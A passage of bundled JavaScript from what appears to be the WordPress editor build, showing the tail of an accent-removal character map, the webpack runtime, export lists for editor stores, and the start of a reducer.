	"ồ": "o",
	"Ṑ": "O",
	"ṑ": "o",
	"Ừ": "U",
	"ừ": "u",
	"Ẁ": "W",
	"ẁ": "w",
	"Ỳ": "Y",
	"ỳ": "y",
	"Ȁ": "A",
	"ȁ": "a",
	"Ȅ": "E",
	"ȅ": "e",
	"Ȉ": "I",
	"ȉ": "i",
	"Ȍ": "O",
	"ȍ": "o",
	"Ȑ": "R",
	"ȑ": "r",
	"Ȕ": "U",
	"ȕ": "u",
	"B̌": "B",
	"b̌": "b",
	"Č̣": "C",
	"č̣": "c",
	"Ê̌": "E",
	"ê̌": "e",
	"F̌": "F",
	"f̌": "f",
	"Ǧ": "G",
	"ǧ": "g",
	"Ȟ": "H",
	"ȟ": "h",
	"J̌": "J",
	"ǰ": "j",
	"Ǩ": "K",
	"ǩ": "k",
	"M̌": "M",
	"m̌": "m",
	"P̌": "P",
	"p̌": "p",
	"Q̌": "Q",
	"q̌": "q",
	"Ř̩": "R",
	"ř̩": "r",
	"Ṧ": "S",
	"ṧ": "s",
	"V̌": "V",
	"v̌": "v",
	"W̌": "W",
	"w̌": "w",
	"X̌": "X",
	"x̌": "x",
	"Y̌": "Y",
	"y̌": "y",
	"A̧": "A",
	"a̧": "a",
	"B̧": "B",
	"b̧": "b",
	"Ḑ": "D",
	"ḑ": "d",
	"Ȩ": "E",
	"ȩ": "e",
	"Ɛ̧": "E",
	"ɛ̧": "e",
	"Ḩ": "H",
	"ḩ": "h",
	"I̧": "I",
	"i̧": "i",
	"Ɨ̧": "I",
	"ɨ̧": "i",
	"M̧": "M",
	"m̧": "m",
	"O̧": "O",
	"o̧": "o",
	"Q̧": "Q",
	"q̧": "q",
	"U̧": "U",
	"u̧": "u",
	"X̧": "X",
	"x̧": "x",
	"Z̧": "Z",
	"z̧": "z",
	"й":"и",
	"Й":"И",
	"ё":"е",
	"Ё":"Е",
};

var chars = Object.keys(characterMap).join('|');
var allAccents = new RegExp(chars, 'g');
var firstAccent = new RegExp(chars, '');

function matcher(match) {
	return characterMap[match];
}

var removeAccents = function(string) {
	return string.replace(allAccents, matcher);
};

var hasAccents = function(string) {
	return !!string.match(firstAccent);
};

module.exports = removeAccents;
module.exports.has = hasAccents;
module.exports.remove = removeAccents;


/***/ })

/******/ 	});
/************************************************************************/
/******/ 	// The module cache
/******/ 	var __webpack_module_cache__ = {};
/******/ 	
/******/ 	// The require function
/******/ 	function __webpack_require__(moduleId) {
/******/ 		// Check if module is in cache
/******/ 		var cachedModule = __webpack_module_cache__[moduleId];
/******/ 		if (cachedModule !== undefined) {
/******/ 			return cachedModule.exports;
/******/ 		}
/******/ 		// Create a new module (and put it into the cache)
/******/ 		var module = __webpack_module_cache__[moduleId] = {
/******/ 			// no module.id needed
/******/ 			// no module.loaded needed
/******/ 			exports: {}
/******/ 		};
/******/ 	
/******/ 		// Execute the module function
/******/ 		__webpack_modules__[moduleId].call(module.exports, module, module.exports, __webpack_require__);
/******/ 	
/******/ 		// Return the exports of the module
/******/ 		return module.exports;
/******/ 	}
/******/ 	
/************************************************************************/
/******/ 	/* webpack/runtime/compat get default export */
/******/ 	(() => {
/******/ 		// getDefaultExport function for compatibility with non-harmony modules
/******/ 		__webpack_require__.n = (module) => {
/******/ 			var getter = module && module.__esModule ?
/******/ 				() => (module['default']) :
/******/ 				() => (module);
/******/ 			__webpack_require__.d(getter, { a: getter });
/******/ 			return getter;
/******/ 		};
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/define property getters */
/******/ 	(() => {
/******/ 		// define getter functions for harmony exports
/******/ 		__webpack_require__.d = (exports, definition) => {
/******/ 			for(var key in definition) {
/******/ 				if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ 					Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ 				}
/******/ 			}
/******/ 		};
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/hasOwnProperty shorthand */
/******/ 	(() => {
/******/ 		__webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ 	})();
/******/ 	
/******/ 	/* webpack/runtime/make namespace object */
/******/ 	(() => {
/******/ 		// define __esModule on exports
/******/ 		__webpack_require__.r = (exports) => {
/******/ 			if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
/******/ 				Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
/******/ 			}
/******/ 			Object.defineProperty(exports, '__esModule', { value: true });
/******/ 		};
/******/ 	})();
/******/ 	
/************************************************************************/
var __webpack_exports__ = {};
// This entry needs to be wrapped in an IIFE because it needs to be in strict mode.
(() => {
"use strict";
// ESM COMPAT FLAG
__webpack_require__.r(__webpack_exports__);

// EXPORTS
__webpack_require__.d(__webpack_exports__, {
  AlignmentToolbar: () => (/* reexport */ AlignmentToolbar),
  Autocomplete: () => (/* reexport */ Autocomplete),
  AutosaveMonitor: () => (/* reexport */ autosave_monitor),
  BlockAlignmentToolbar: () => (/* reexport */ BlockAlignmentToolbar),
  BlockControls: () => (/* reexport */ BlockControls),
  BlockEdit: () => (/* reexport */ BlockEdit),
  BlockEditorKeyboardShortcuts: () => (/* reexport */ BlockEditorKeyboardShortcuts),
  BlockFormatControls: () => (/* reexport */ BlockFormatControls),
  BlockIcon: () => (/* reexport */ BlockIcon),
  BlockInspector: () => (/* reexport */ BlockInspector),
  BlockList: () => (/* reexport */ BlockList),
  BlockMover: () => (/* reexport */ BlockMover),
  BlockNavigationDropdown: () => (/* reexport */ BlockNavigationDropdown),
  BlockSelectionClearer: () => (/* reexport */ BlockSelectionClearer),
  BlockSettingsMenu: () => (/* reexport */ BlockSettingsMenu),
  BlockTitle: () => (/* reexport */ BlockTitle),
  BlockToolbar: () => (/* reexport */ BlockToolbar),
  CharacterCount: () => (/* reexport */ CharacterCount),
  ColorPalette: () => (/* reexport */ ColorPalette),
  ContrastChecker: () => (/* reexport */ ContrastChecker),
  CopyHandler: () => (/* reexport */ CopyHandler),
  DefaultBlockAppender: () => (/* reexport */ DefaultBlockAppender),
  DocumentBar: () => (/* reexport */ DocumentBar),
  DocumentOutline: () => (/* reexport */ DocumentOutline),
  DocumentOutlineCheck: () => (/* reexport */ DocumentOutlineCheck),
  EditorHistoryRedo: () => (/* reexport */ editor_history_redo),
  EditorHistoryUndo: () => (/* reexport */ editor_history_undo),
  EditorKeyboardShortcuts: () => (/* reexport */ EditorKeyboardShortcuts),
  EditorKeyboardShortcutsRegister: () => (/* reexport */ register_shortcuts),
  EditorNotices: () => (/* reexport */ editor_notices),
  EditorProvider: () => (/* reexport */ provider),
  EditorSnackbars: () => (/* reexport */ EditorSnackbars),
  EntitiesSavedStates: () => (/* reexport */ EntitiesSavedStates),
  ErrorBoundary: () => (/* reexport */ error_boundary),
  FontSizePicker: () => (/* reexport */ FontSizePicker),
  InnerBlocks: () => (/* reexport */ InnerBlocks),
  Inserter: () => (/* reexport */ Inserter),
  InspectorAdvancedControls: () => (/* reexport */ InspectorAdvancedControls),
  InspectorControls: () => (/* reexport */ InspectorControls),
  LocalAutosaveMonitor: () => (/* reexport */ local_autosave_monitor),
  MediaPlaceholder: () => (/* reexport */ MediaPlaceholder),
  MediaUpload: () => (/* reexport */ MediaUpload),
  MediaUploadCheck: () => (/* reexport */ MediaUploadCheck),
  MultiSelectScrollIntoView: () => (/* reexport */ MultiSelectScrollIntoView),
  NavigableToolbar: () => (/* reexport */ NavigableToolbar),
  ObserveTyping: () => (/* reexport */ ObserveTyping),
  PageAttributesCheck: () => (/* reexport */ page_attributes_check),
  PageAttributesOrder: () => (/* reexport */ PageAttributesOrderWithChecks),
  PageAttributesPanel: () => (/* reexport */ PageAttributesPanel),
  PageAttributesParent: () => (/* reexport */ page_attributes_parent),
  PageTemplate: () => (/* reexport */ classic_theme),
  PanelColorSettings: () => (/* reexport */ PanelColorSettings),
  PlainText: () => (/* reexport */ PlainText),
  PluginBlockSettingsMenuItem: () => (/* reexport */ plugin_block_settings_menu_item),
  PluginDocumentSettingPanel: () => (/* reexport */ plugin_document_setting_panel),
  PluginMoreMenuItem: () => (/* reexport */ PluginMoreMenuItem),
  PluginPostPublishPanel: () => (/* reexport */ plugin_post_publish_panel),
  PluginPostStatusInfo: () => (/* reexport */ plugin_post_status_info),
  PluginPrePublishPanel: () => (/* reexport */ plugin_pre_publish_panel),
  PluginPreviewMenuItem: () => (/* reexport */ PluginPreviewMenuItem),
  PluginSidebar: () => (/* reexport */ PluginSidebar),
  PluginSidebarMoreMenuItem: () => (/* reexport */ PluginSidebarMoreMenuItem),
  PostAuthor: () => (/* reexport */ post_author),
  PostAuthorCheck: () => (/* reexport */ PostAuthorCheck),
  PostAuthorPanel: () => (/* reexport */ panel),
  PostComments: () => (/* reexport */ post_comments),
  PostDiscussionPanel: () => (/* reexport */ PostDiscussionPanel),
  PostExcerpt: () => (/* reexport */ PostExcerpt),
  PostExcerptCheck: () => (/* reexport */ post_excerpt_check),
  PostExcerptPanel: () => (/* reexport */ PostExcerptPanel),
  PostFeaturedImage: () => (/* reexport */ post_featured_image),
  PostFeaturedImageCheck: () => (/* reexport */ post_featured_image_check),
  PostFeaturedImagePanel: () => (/* reexport */ PostFeaturedImagePanel),
  PostFormat: () => (/* reexport */ PostFormat),
  PostFormatCheck: () => (/* reexport */ PostFormatCheck),
  PostLastRevision: () => (/* reexport */ post_last_revision),
  PostLastRevisionCheck: () => (/* reexport */ post_last_revision_check),
  PostLastRevisionPanel: () => (/* reexport */ post_last_revision_panel),
  PostLockedModal: () => (/* reexport */ PostLockedModal),
  PostPendingStatus: () => (/* reexport */ post_pending_status),
  PostPendingStatusCheck: () => (/* reexport */ post_pending_status_check),
  PostPingbacks: () => (/* reexport */ post_pingbacks),
  PostPreviewButton: () => (/* reexport */ PostPreviewButton),
  PostPublishButton: () => (/* reexport */ post_publish_button),
  PostPublishButtonLabel: () => (/* reexport */ PublishButtonLabel),
  PostPublishPanel: () => (/* reexport */ post_publish_panel),
  PostSavedState: () => (/* reexport */ PostSavedState),
  PostSchedule: () => (/* reexport */ PostSchedule),
  PostScheduleCheck: () => (/* reexport */ PostScheduleCheck),
  PostScheduleLabel: () => (/* reexport */ PostScheduleLabel),
  PostSchedulePanel: () => (/* reexport */ PostSchedulePanel),
  PostSticky: () => (/* reexport */ PostSticky),
  PostStickyCheck: () => (/* reexport */ PostStickyCheck),
  PostSwitchToDraftButton: () => (/* reexport */ PostSwitchToDraftButton),
  PostSyncStatus: () => (/* reexport */ PostSyncStatus),
  PostTaxonomies: () => (/* reexport */ post_taxonomies),
  PostTaxonomiesCheck: () => (/* reexport */ PostTaxonomiesCheck),
  PostTaxonomiesFlatTermSelector: () => (/* reexport */ FlatTermSelector),
  PostTaxonomiesHierarchicalTermSelector: () => (/* reexport */ HierarchicalTermSelector),
  PostTaxonomiesPanel: () => (/* reexport */ panel_PostTaxonomies),
  PostTemplatePanel: () => (/* reexport */ PostTemplatePanel),
  PostTextEditor: () => (/* reexport */ PostTextEditor),
  PostTitle: () => (/* reexport */ post_title),
  PostTitleRaw: () => (/* reexport */ post_title_raw),
  PostTrash: () => (/* reexport */ PostTrash),
  PostTrashCheck: () => (/* reexport */ PostTrashCheck),
  PostTypeSupportCheck: () => (/* reexport */ post_type_support_check),
  PostURL: () => (/* reexport */ PostURL),
  PostURLCheck: () => (/* reexport */ PostURLCheck),
  PostURLLabel: () => (/* reexport */ PostURLLabel),
  PostURLPanel: () => (/* reexport */ PostURLPanel),
  PostVisibility: () => (/* reexport */ PostVisibility),
  PostVisibilityCheck: () => (/* reexport */ PostVisibilityCheck),
  PostVisibilityLabel: () => (/* reexport */ PostVisibilityLabel),
  RichText: () => (/* reexport */ RichText),
  RichTextShortcut: () => (/* reexport */ RichTextShortcut),
  RichTextToolbarButton: () => (/* reexport */ RichTextToolbarButton),
  ServerSideRender: () => (/* reexport */ (external_wp_serverSideRender_default())),
  SkipToSelectedBlock: () => (/* reexport */ SkipToSelectedBlock),
  TableOfContents: () => (/* reexport */ table_of_contents),
  TextEditorGlobalKeyboardShortcuts: () => (/* reexport */ TextEditorGlobalKeyboardShortcuts),
  ThemeSupportCheck: () => (/* reexport */ ThemeSupportCheck),
  TimeToRead: () => (/* reexport */ TimeToRead),
  URLInput: () => (/* reexport */ URLInput),
  URLInputButton: () => (/* reexport */ URLInputButton),
  URLPopover: () => (/* reexport */ URLPopover),
  UnsavedChangesWarning: () => (/* reexport */ UnsavedChangesWarning),
  VisualEditorGlobalKeyboardShortcuts: () => (/* reexport */ VisualEditorGlobalKeyboardShortcuts),
  Warning: () => (/* reexport */ Warning),
  WordCount: () => (/* reexport */ WordCount),
  WritingFlow: () => (/* reexport */ WritingFlow),
  __unstableRichTextInputEvent: () => (/* reexport */ __unstableRichTextInputEvent),
  cleanForSlug: () => (/* reexport */ cleanForSlug),
  createCustomColorsHOC: () => (/* reexport */ createCustomColorsHOC),
  getColorClassName: () => (/* reexport */ getColorClassName),
  getColorObjectByAttributeValues: () => (/* reexport */ getColorObjectByAttributeValues),
  getColorObjectByColorValue: () => (/* reexport */ getColorObjectByColorValue),
  getFontSize: () => (/* reexport */ getFontSize),
  getFontSizeClass: () => (/* reexport */ getFontSizeClass),
  getTemplatePartIcon: () => (/* reexport */ getTemplatePartIcon),
  mediaUpload: () => (/* reexport */ mediaUpload),
  privateApis: () => (/* reexport */ privateApis),
  registerEntityAction: () => (/* reexport */ api_registerEntityAction),
  registerEntityField: () => (/* reexport */ api_registerEntityField),
  store: () => (/* reexport */ store_store),
  storeConfig: () => (/* reexport */ storeConfig),
  transformStyles: () => (/* reexport */ external_wp_blockEditor_namespaceObject.transformStyles),
  unregisterEntityAction: () => (/* reexport */ api_unregisterEntityAction),
  unregisterEntityField: () => (/* reexport */ api_unregisterEntityField),
  useEntitiesSavedStatesIsDirty: () => (/* reexport */ useIsDirty),
  usePostScheduleLabel: () => (/* reexport */ usePostScheduleLabel),
  usePostURLLabel: () => (/* reexport */ usePostURLLabel),
  usePostVisibilityLabel: () => (/* reexport */ usePostVisibilityLabel),
  userAutocompleter: () => (/* reexport */ user),
  withColorContext: () => (/* reexport */ withColorContext),
  withColors: () => (/* reexport */ withColors),
  withFontSizes: () => (/* reexport */ withFontSizes)
});

// NAMESPACE OBJECT: ./node_modules/@wordpress/editor/build-module/store/selectors.js
var selectors_namespaceObject = {};
__webpack_require__.r(selectors_namespaceObject);
__webpack_require__.d(selectors_namespaceObject, {
  __experimentalGetDefaultTemplatePartAreas: () => (__experimentalGetDefaultTemplatePartAreas),
  __experimentalGetDefaultTemplateType: () => (__experimentalGetDefaultTemplateType),
  __experimentalGetDefaultTemplateTypes: () => (__experimentalGetDefaultTemplateTypes),
  __experimentalGetTemplateInfo: () => (__experimentalGetTemplateInfo),
  __unstableIsEditorReady: () => (__unstableIsEditorReady),
  canInsertBlockType: () => (canInsertBlockType),
  canUserUseUnfilteredHTML: () => (canUserUseUnfilteredHTML),
  didPostSaveRequestFail: () => (didPostSaveRequestFail),
  didPostSaveRequestSucceed: () => (didPostSaveRequestSucceed),
  getActivePostLock: () => (getActivePostLock),
  getAdjacentBlockClientId: () => (getAdjacentBlockClientId),
  getAutosaveAttribute: () => (getAutosaveAttribute),
  getBlock: () => (getBlock),
  getBlockAttributes: () => (getBlockAttributes),
  getBlockCount: () => (getBlockCount),
  getBlockHierarchyRootClientId: () => (getBlockHierarchyRootClientId),
  getBlockIndex: () => (getBlockIndex),
  getBlockInsertionPoint: () => (getBlockInsertionPoint),
  getBlockListSettings: () => (getBlockListSettings),
  getBlockMode: () => (getBlockMode),
  getBlockName: () => (getBlockName),
  getBlockOrder: () => (getBlockOrder),
  getBlockRootClientId: () => (getBlockRootClientId),
  getBlockSelectionEnd: () => (getBlockSelectionEnd),
  getBlockSelectionStart: () => (getBlockSelectionStart),
  getBlocks: () => (getBlocks),
  getBlocksByClientId: () => (getBlocksByClientId),
  getClientIdsOfDescendants: () => (getClientIdsOfDescendants),
  getClientIdsWithDescendants: () => (getClientIdsWithDescendants),
  getCurrentPost: () => (getCurrentPost),
  getCurrentPostAttribute: () => (getCurrentPostAttribute),
  getCurrentPostId: () => (getCurrentPostId),
  getCurrentPostLastRevisionId: () => (getCurrentPostLastRevisionId),
  getCurrentPostRevisionsCount: () => (getCurrentPostRevisionsCount),
  getCurrentPostType: () => (getCurrentPostType),
  getCurrentTemplateId: () => (getCurrentTemplateId),
  getDeviceType: () => (getDeviceType),
  getEditedPostAttribute: () => (getEditedPostAttribute),
  getEditedPostContent: () => (getEditedPostContent),
  getEditedPostPreviewLink: () => (getEditedPostPreviewLink),
  getEditedPostSlug: () => (getEditedPostSlug),
  getEditedPostVisibility: () => (getEditedPostVisibility),
  getEditorBlocks: () => (getEditorBlocks),
  getEditorMode: () => (getEditorMode),
  getEditorSelection: () => (getEditorSelection),
  getEditorSelectionEnd: () => (getEditorSelectionEnd),
  getEditorSelectionStart: () => (getEditorSelectionStart),
  getEditorSettings: () => (getEditorSettings),
  getFirstMultiSelectedBlockClientId: () => (getFirstMultiSelectedBlockClientId),
  getGlobalBlockCount: () => (getGlobalBlockCount),
  getInserterItems: () => (getInserterItems),
  getLastMultiSelectedBlockClientId: () => (getLastMultiSelectedBlockClientId),
  getMultiSelectedBlockClientIds: () => (getMultiSelectedBlockClientIds),
  getMultiSelectedBlocks: () => (getMultiSelectedBlocks),
  getMultiSelectedBlocksEndClientId: () => (getMultiSelectedBlocksEndClientId),
  getMultiSelectedBlocksStartClientId: () => (getMultiSelectedBlocksStartClientId),
  getNextBlockClientId: () => (getNextBlockClientId),
  getPermalink: () => (getPermalink),
  getPermalinkParts: () => (getPermalinkParts),
  getPostEdits: () => (getPostEdits),
  getPostLockUser: () => (getPostLockUser),
  getPostTypeLabel: () => (getPostTypeLabel),
  getPreviousBlockClientId: () => (getPreviousBlockClientId),
  getRenderingMode: () => (getRenderingMode),
  getSelectedBlock: () => (getSelectedBlock),
  getSelectedBlockClientId: () => (getSelectedBlockClientId),
  getSelectedBlockCount: () => (getSelectedBlockCount),
  getSelectedBlocksInitialCaretPosition: () => (getSelectedBlocksInitialCaretPosition),
  getStateBeforeOptimisticTransaction: () => (getStateBeforeOptimisticTransaction),
  getSuggestedPostFormat: () => (getSuggestedPostFormat),
  getTemplate: () => (getTemplate),
  getTemplateLock: () => (getTemplateLock),
  hasChangedContent: () => (hasChangedContent),
  hasEditorRedo: () => (hasEditorRedo),
  hasEditorUndo: () => (hasEditorUndo),
  hasInserterItems: () => (hasInserterItems),
  hasMultiSelection: () => (hasMultiSelection),
  hasNonPostEntityChanges: () => (hasNonPostEntityChanges),
  hasSelectedBlock: () => (hasSelectedBlock),
  hasSelectedInnerBlock: () => (hasSelectedInnerBlock),
  inSomeHistory: () => (inSomeHistory),
  isAncestorMultiSelected: () => (isAncestorMultiSelected),
  isAutosavingPost: () => (isAutosavingPost),
  isBlockInsertionPointVisible: () => (isBlockInsertionPointVisible),
  isBlockMultiSelected: () => (isBlockMultiSelected),
  isBlockSelected: () => (isBlockSelected),
  isBlockValid: () => (isBlockValid),
  isBlockWithinSelection: () => (isBlockWithinSelection),
  isCaretWithinFormattedText: () => (isCaretWithinFormattedText),
  isCleanNewPost: () => (isCleanNewPost),
  isCurrentPostPending: () => (isCurrentPostPending),
  isCurrentPostPublished: () => (isCurrentPostPublished),
  isCurrentPostScheduled: () => (isCurrentPostScheduled),
  isDeletingPost: () => (isDeletingPost),
  isEditedPostAutosaveable: () => (isEditedPostAutosaveable),
  isEditedPostBeingScheduled: () => (isEditedPostBeingScheduled),
  isEditedPostDateFloating: () => (isEditedPostDateFloating),
  isEditedPostDirty: () => (isEditedPostDirty),
  isEditedPostEmpty: () => (isEditedPostEmpty),
  isEditedPostNew: () => (isEditedPostNew),
  isEditedPostPublishable: () => (isEditedPostPublishable),
  isEditedPostSaveable: () => (isEditedPostSaveable),
  isEditorPanelEnabled: () => (isEditorPanelEnabled),
  isEditorPanelOpened: () => (isEditorPanelOpened),
  isEditorPanelRemoved: () => (isEditorPanelRemoved),
  isFirstMultiSelectedBlock: () => (isFirstMultiSelectedBlock),
  isInserterOpened: () => (isInserterOpened),
  isListViewOpened: () => (isListViewOpened),
  isMultiSelecting: () => (isMultiSelecting),
  isPermalinkEditable: () => (isPermalinkEditable),
  isPostAutosavingLocked: () => (isPostAutosavingLocked),
  isPostLockTakeover: () => (isPostLockTakeover),
  isPostLocked: () => (isPostLocked),
  isPostSavingLocked: () => (isPostSavingLocked),
  isPreviewingPost: () => (isPreviewingPost),
  isPublishSidebarEnabled: () => (isPublishSidebarEnabled),
  isPublishSidebarOpened: () => (isPublishSidebarOpened),
  isPublishingPost: () => (isPublishingPost),
  isSavingNonPostEntityChanges: () => (isSavingNonPostEntityChanges),
  isSavingPost: () => (isSavingPost),
  isSelectionEnabled: () => (isSelectionEnabled),
  isTyping: () => (isTyping),
  isValidTemplate: () => (isValidTemplate)
});

// NAMESPACE OBJECT: ./node_modules/@wordpress/editor/build-module/store/actions.js
var actions_namespaceObject = {};
__webpack_require__.r(actions_namespaceObject);
__webpack_require__.d(actions_namespaceObject, {
  __experimentalTearDownEditor: () => (__experimentalTearDownEditor),
  __unstableSaveForPreview: () => (__unstableSaveForPreview),
  autosave: () => (autosave),
  clearSelectedBlock: () => (clearSelectedBlock),
  closePublishSidebar: () => (closePublishSidebar),
  createUndoLevel: () => (createUndoLevel),
  disablePublishSidebar: () => (disablePublishSidebar),
  editPost: () => (editPost),
  enablePublishSidebar: () => (enablePublishSidebar),
  enterFormattedText: () => (enterFormattedText),
  exitFormattedText: () => (exitFormattedText),
  hideInsertionPoint: () => (hideInsertionPoint),
  insertBlock: () => (insertBlock),
  insertBlocks: () => (insertBlocks),
  insertDefaultBlock: () => (insertDefaultBlock),
  lockPostAutosaving: () => (lockPostAutosaving),
  lockPostSaving: () => (lockPostSaving),
  mergeBlocks: () => (mergeBlocks),
  moveBlockToPosition: () => (moveBlockToPosition),
  moveBlocksDown: () => (moveBlocksDown),
  moveBlocksUp: () => (moveBlocksUp),
  multiSelect: () => (multiSelect),
  openPublishSidebar: () => (openPublishSidebar),
  receiveBlocks: () => (receiveBlocks),
  redo: () => (redo),
  refreshPost: () => (refreshPost),
  removeBlock: () => (removeBlock),
  removeBlocks: () => (removeBlocks),
  removeEditorPanel: () => (removeEditorPanel),
  replaceBlock: () => (replaceBlock),
  replaceBlocks: () => (replaceBlocks),
  resetBlocks: () => (resetBlocks),
  resetEditorBlocks: () => (resetEditorBlocks),
  resetPost: () => (resetPost),
  savePost: () => (savePost),
  selectBlock: () => (selectBlock),
  setDeviceType: () => (setDeviceType),
  setEditedPost: () => (setEditedPost),
  setIsInserterOpened: () => (setIsInserterOpened),
  setIsListViewOpened: () => (setIsListViewOpened),
  setRenderingMode: () => (setRenderingMode),
  setTemplateValidity: () => (setTemplateValidity),
  setupEditor: () => (setupEditor),
  setupEditorState: () => (setupEditorState),
  showInsertionPoint: () => (showInsertionPoint),
  startMultiSelect: () => (startMultiSelect),
  startTyping: () => (startTyping),
  stopMultiSelect: () => (stopMultiSelect),
  stopTyping: () => (stopTyping),
  switchEditorMode: () => (switchEditorMode),
  synchronizeTemplate: () => (synchronizeTemplate),
  toggleBlockMode: () => (toggleBlockMode),
  toggleDistractionFree: () => (toggleDistractionFree),
  toggleEditorPanelEnabled: () => (toggleEditorPanelEnabled),
  toggleEditorPanelOpened: () => (toggleEditorPanelOpened),
  togglePublishSidebar: () => (togglePublishSidebar),
  toggleSelection: () => (toggleSelection),
  toggleSpotlightMode: () => (toggleSpotlightMode),
  toggleTopToolbar: () => (toggleTopToolbar),
  trashPost: () => (trashPost),
  undo: () => (undo),
  unlockPostAutosaving: () => (unlockPostAutosaving),
  unlockPostSaving: () => (unlockPostSaving),
  updateBlock: () => (updateBlock),
  updateBlockAttributes: () => (updateBlockAttributes),
  updateBlockListSettings: () => (updateBlockListSettings),
  updateEditorSettings: () => (updateEditorSettings),
  updatePost: () => (updatePost),
  updatePostLock: () => (updatePostLock)
});

// NAMESPACE OBJECT: ./node_modules/@wordpress/interface/build-module/store/actions.js
var store_actions_namespaceObject = {};
__webpack_require__.r(store_actions_namespaceObject);
__webpack_require__.d(store_actions_namespaceObject, {
  closeModal: () => (closeModal),
  disableComplementaryArea: () => (disableComplementaryArea),
  enableComplementaryArea: () => (enableComplementaryArea),
  openModal: () => (openModal),
  pinItem: () => (pinItem),
  setDefaultComplementaryArea: () => (setDefaultComplementaryArea),
  setFeatureDefaults: () => (setFeatureDefaults),
  setFeatureValue: () => (setFeatureValue),
  toggleFeature: () => (toggleFeature),
  unpinItem: () => (unpinItem)
});

// NAMESPACE OBJECT: ./node_modules/@wordpress/interface/build-module/store/selectors.js
var store_selectors_namespaceObject = {};
__webpack_require__.r(store_selectors_namespaceObject);
__webpack_require__.d(store_selectors_namespaceObject, {
  getActiveComplementaryArea: () => (getActiveComplementaryArea),
  isComplementaryAreaLoading: () => (isComplementaryAreaLoading),
  isFeatureActive: () => (isFeatureActive),
  isItemPinned: () => (isItemPinned),
  isModalActive: () => (isModalActive)
});

// NAMESPACE OBJECT: ./node_modules/@wordpress/interface/build-module/index.js
var build_module_namespaceObject = {};
__webpack_require__.r(build_module_namespaceObject);
__webpack_require__.d(build_module_namespaceObject, {
  ActionItem: () => (action_item),
  ComplementaryArea: () => (complementary_area),
  ComplementaryAreaMoreMenuItem: () => (ComplementaryAreaMoreMenuItem),
  FullscreenMode: () => (fullscreen_mode),
  InterfaceSkeleton: () => (interface_skeleton),
  NavigableRegion: () => (navigable_region),
  PinnedItems: () => (pinned_items),
  store: () => (store)
});

// NAMESPACE OBJECT: ./node_modules/@wordpress/editor/build-module/store/private-actions.js
var store_private_actions_namespaceObject = {};
__webpack_require__.r(store_private_actions_namespaceObject);
__webpack_require__.d(store_private_actions_namespaceObject, {
  createTemplate: () => (createTemplate),
  hideBlockTypes: () => (hideBlockTypes),
  registerEntityAction: () => (registerEntityAction),
  registerEntityField: () => (registerEntityField),
  registerPostTypeSchema: () => (registerPostTypeSchema),
  removeTemplates: () => (removeTemplates),
  revertTemplate: () => (private_actions_revertTemplate),
  saveDirtyEntities: () => (saveDirtyEntities),
  setCurrentTemplateId: () => (setCurrentTemplateId),
  setDefaultRenderingMode: () => (setDefaultRenderingMode),
  setIsReady: () => (setIsReady),
  showBlockTypes: () => (showBlockTypes),
  unregisterEntityAction: () => (unregisterEntityAction),
  unregisterEntityField: () => (unregisterEntityField)
});

// NAMESPACE OBJECT: ./node_modules/@wordpress/editor/build-module/store/private-selectors.js
var store_private_selectors_namespaceObject = {};
__webpack_require__.r(store_private_selectors_namespaceObject);
__webpack_require__.d(store_private_selectors_namespaceObject, {
  getDefaultRenderingMode: () => (getDefaultRenderingMode),
  getEntityActions: () => (private_selectors_getEntityActions),
  getEntityFields: () => (private_selectors_getEntityFields),
  getInserter: () => (getInserter),
  getInserterSidebarToggleRef: () => (getInserterSidebarToggleRef),
  getListViewToggleRef: () => (getListViewToggleRef),
  getPostBlocksByName: () => (getPostBlocksByName),
  getPostIcon: () => (getPostIcon),
  hasPostMetaChanges: () => (hasPostMetaChanges),
  isEntityReady: () => (private_selectors_isEntityReady)
});

;// external ["wp","data"]
const external_wp_data_namespaceObject = window["wp"]["data"];
;// external ["wp","coreData"]
const external_wp_coreData_namespaceObject = window["wp"]["coreData"];
;// external ["wp","element"]
const external_wp_element_namespaceObject = window["wp"]["element"];
;// external ["wp","compose"]
const external_wp_compose_namespaceObject = window["wp"]["compose"];
;// external ["wp","hooks"]
const external_wp_hooks_namespaceObject = window["wp"]["hooks"];
;// external ["wp","blockEditor"]
const external_wp_blockEditor_namespaceObject = window["wp"]["blockEditor"];
;// ./node_modules/@wordpress/editor/build-module/store/defaults.js
/**
 * WordPress dependencies
 */


/**
 * The default post editor settings.
 *
 * @property {boolean|Array} allowedBlockTypes     Allowed block types
 * @property {boolean}       richEditingEnabled    Whether rich editing is enabled or not
 * @property {boolean}       codeEditingEnabled    Whether code editing is enabled or not
 * @property {boolean}       fontLibraryEnabled    Whether the font library is enabled or not.
 * @property {boolean}       enableCustomFields    Whether the WordPress custom fields are enabled or not.
 *                                                 true  = the user has opted to show the Custom Fields panel at the bottom of the editor.
 *                                                 false = the user has opted to hide the Custom Fields panel at the bottom of the editor.
 *                                                 undefined = the current environment does not support Custom Fields, so the option toggle in Preferences -> Panels to enable the Custom Fields panel is not displayed.
 * @property {number}        autosaveInterval      How often in seconds the post will be auto-saved via the REST API.
 * @property {number}        localAutosaveInterval How often in seconds the post will be backed up to sessionStorage.
 * @property {Array?}        availableTemplates    The available post templates
 * @property {boolean}       disablePostFormats    Whether or not the post formats are disabled
 * @property {Array?}        allowedMimeTypes      List of allowed mime types and file extensions
 * @property {number}        maxUploadFileSize     Maximum upload file size
 * @property {boolean}       supportsLayout        Whether the editor supports layouts.
 */
const EDITOR_SETTINGS_DEFAULTS = {
  ...external_wp_blockEditor_namespaceObject.SETTINGS_DEFAULTS,
  richEditingEnabled: true,
  codeEditingEnabled: true,
  fontLibraryEnabled: true,
  enableCustomFields: undefined,
  defaultRenderingMode: 'post-only'
};

;// ./node_modules/@wordpress/editor/build-module/dataviews/store/reducer.js
/**
 * WordPress dependencies
 */

function isReady(state = {}, action) {
  switch (action.type) {
    case 'SET_IS_READY':
      return {
        ...state,
        [action.kind]: {
          ...state[action.kind],
          [action.name]: true
        }
      };
  }
  return state;
}
function actions(state = {}, action) {
  var _state$action$kind$ac;
  switch (action.type) {
    case 'REGISTER_ENTITY_ACTION':
      return {
        ...state,
        [action.kind]: {
          ...state[action.kind],
